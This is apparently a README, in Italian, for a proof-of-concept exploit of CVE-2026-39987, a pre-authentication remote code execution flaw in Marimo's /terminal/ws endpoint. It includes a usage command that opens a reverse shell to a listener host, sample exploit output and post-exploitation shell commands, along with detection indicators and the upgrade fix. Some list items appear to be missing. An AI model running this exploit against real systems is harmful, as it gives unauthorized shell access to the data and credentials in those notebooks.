
Exploit proof-of-concept per la RCE pre-autenticazione di Marimo. Utilizza l'endpoint WebSocket non autenticato /terminal/ws per generare una PTY e stabilire una reverse shell.
CVE-2026-39987 è una vulnerabilità critica di Remote Code Execution (RCE) pre-autenticazione che colpisce Marimo, un ambiente notebook Python reattivo.
La vulnerabilità risiede nell'endpoint WebSocket del terminale di Marimo:
/terminal/ws
L'endpoint non applicava correttamente l'autenticazione prima di creare una sessione di terminale. Di conseguenza, un attaccante remoto non autenticato in grado di raggiungere un'istanza Marimo vulnerabile può stabilire una connessione WebSocket e ottenere una shell PTY interattiva.
Non sono richieste credenziali valide.
| Proprietà | Valore |
|---|---|
| CVE | CVE-2026-39987 |
| Prodotto | Marimo |
| Vulnerabilità | Remote Code Execution pre-autenticazione |
| Vettore d'attacco | Rete |
| Autenticazione | Non richiesta |
| Interazione utente | Non richiesta |
| CWE | CWE-306 — Mancata autenticazione per funzione critica |
| Gravità | Critica |
| Versione corretta | 0.23.0 |
La vulnerabilità è stata causata da un'applicazione incoerente dell'autenticazione tra gli endpoint WebSocket di Marimo.
Mentre altre funzionalità WebSocket eseguono la convalida dell'autenticazione, l'endpoint vulnerabile /terminal/ws poteva accettare una connessione senza prima validare il chiamante.
L'endpoint del terminale vulnerabile crea un PTY interattivo dopo aver accettato una connessione WebSocket.
Concettualmente, il flusso di richiesta vulnerabile è:
Remote Client
|
| WebSocket connection
v
/terminal/ws
|
| Missing authentication validation
v
WebSocket accepted
|
v
PTY created
|
v
Interactive shell
Il confine di sicurezza importante è il controllo di autenticazione mancante.
Un endpoint che espone l'esecuzione arbitraria di comandi non deve consentire a un client non autenticato di raggiungere la logica di creazione del PTY.
Uno sfruttamento riuscito può fornire l'esecuzione arbitraria di comandi con i privilegi del processo Marimo.
A seconda della configurazione di distribuzione, ciò può consentire a un attaccante di:
L'impatto è particolarmente significativo per gli ambienti notebook perché in genere hanno accesso a dataset, API, credenziali, risorse cloud e infrastruttura di sviluppo.
Avvertenza: esegui il PoC solo contro sistemi di tua proprietà o per i quali hai esplicita autorizzazione al test.
Questo repository contiene un PoC per dimostrare la vulnerabilità in un ambiente controllato.
L'esempio seguente dimostra lo sfruttamento contro un'istanza locale/laboratorio.
Ad esempio:
http://127.0.0.1:8081
L'istanza Marimo vulnerabile deve essere in esecuzione prima di lanciare il PoC.
Esempio:
python3 exploit.py \
-u http://127.0.0.1:8081 \
--host 192.168.101.130 \
--port 5555
Dove:
-u Istanza Marimo target
--host IP del listener
--port Porta del listener
Il PoC stabilisce la connessione al terminale vulnerabile e attende la connessione shell risultante.
Output di esempio:
[!] Coded By: K3ysTr0K3R
[!] CVE-2026-39987 - Marimo Pre-Auth RCE
[*] Listening on 192.168.101.130:5555 (timeout 15s)
[*] _build_ws_url invoked
[*] deliver_and_hold invoked
[*] Sending payload: python3 -c ...
[*] Waiting for reverse shell... (Ctrl+C to abort)
[+] Connection from 192.168.160.3:32882
Dopo uno sfruttamento riuscito, l'attaccante riceve una shell in esecuzione con i privilegi del processo Marimo.
whoami
Esempio:
marimo
id
Esempio:
uid=10001(marimo) gid=10001(marimo) groups=10001(marimo)
Ciò dimostra che i comandi arbitrari vengono eseguiti remotamente come account marimo.
Il PoC può anche dimostrare l'accesso al file system disponibile per il processo compromesso.
ls -la
Esempio:
total 4
-rw-r--r-- 1 marimo marimo 216 Aug 19 17:23 notebook.py
Spostandosi alla radice del file system:
cd /
ls
Esempio:
bin
boot
dev
etc
home
lib
lib64
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var
workspace
Ciò conferma che la shell remota ha un normale accesso al file system, soggetto ai privilegi e alle restrizioni del contenitore del processo Marimo.
L'intera catena di vulnerabilità può essere riassunta come:
1. Attacker discovers exposed Marimo instance
|
v
2. Attacker connects to /terminal/ws
|
v
3. Authentication is not enforced
|
v
4. WebSocket connection is accepted
|
v
5. PTY terminal is created
|
v
6. Attacker obtains command execution
|
v
7. Commands execute as the Marimo process
Il guasto di sicurezza critico si verifica al passaggio 3.
I potenziali indicatori di sfruttamento includono connessioni WebSocket inattese a:
/terminal/ws
e un'insolita attività di processo originata dal server Marimo.
I difensori dovrebbero indagare su:
Aggiorna Marimo a una release corretta:
0.23.0 o successiva
Inoltre:
/terminal/ws.CVE: CVE-2026-39987
CWE: CWE-306
Severity: Critical
Type: Pre-Authentication RCE
Protocol: WebSocket
Endpoint: /terminal/ws
Auth: None required
Fixed: 0.23.0
Questo progetto è fornito per ricerca sulla sicurezza, validazione di vulnerabilità e scopi educativi. Non utilizzare il PoC contro sistemi che non possiedi o per i quali non hai un'autorizzazione esplicita al test.